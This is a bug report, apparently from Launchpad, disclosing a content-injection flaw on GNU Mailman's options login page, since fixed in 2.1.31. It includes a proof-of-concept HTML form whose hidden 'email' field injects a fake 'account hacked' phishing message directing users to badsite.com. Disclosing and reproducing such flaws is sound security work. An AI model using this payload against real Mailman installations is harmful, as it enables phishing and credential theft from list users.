GNU Mailman

Arbitrary Content Injection via the options login page.

Bug #1873722 reported by Mark Sapiro on 2020-04-20

This bug affects 1 person

Affects		Status	Importance	Assigned to	Milestone
	GNU Mailman	Fix Released	Medium	Mark Sapiro	GNU Mailman 2.1.31

Bug Description

An issue similar to CVE - https://www.cvedetails.com/cve/CVE-2018-13796/ exists at different endpoint & param. It can lead to a phishing attack.

Steps To Reproduce:

1. Copy and save the following HTML code and open it in any browser.
Code:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://example.com/mailman/options/mailman" method="POST">
      <input type="hidden" name="email" value="Your account has been hacked. Kindly go to https://badsite.com or share your credentials at attacker@badsite.com" />
      <input type="hidden" name="UserOptions" value="Unsubscribe or edit options" />
      <input type="hidden" name="language" value="en" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

2. Can be seen there- "Your account has been hacked. Kindly go to https://badsite.com or share your credentials at <email address hidden>" message will be displayed on the screen.